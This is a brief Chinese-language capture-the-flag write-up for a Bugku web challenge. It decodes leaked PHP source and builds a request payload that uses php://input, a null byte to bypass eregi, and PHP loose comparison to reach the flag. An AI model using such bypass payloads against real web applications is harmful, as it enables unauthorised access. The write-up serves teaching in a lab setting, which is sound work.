直接访问目标地址
因为没有什么明显的提示,所以尝试看源码!
可以看到源码中是提示了一个1p.html的,尝试访问这个文件
发现他直接跳转到了bugku的一个论坛,所以判断1p.html是存在跳转设置的,抓包看下
看到这堆字符串的开头是%3C,应该是url编码,尝试解码
解出来看格式,应该是base64,继续解码!
成功得到代码!
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如substr($b,0,1)就是在参数b里面 ,从0开始返回1个长度的字符串
eregi("111".substr($b,0,1),"1114")就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
所以构造payload:/hello.php?id=.&b=%0012345&a=php://input
发包试试
成功得到flag!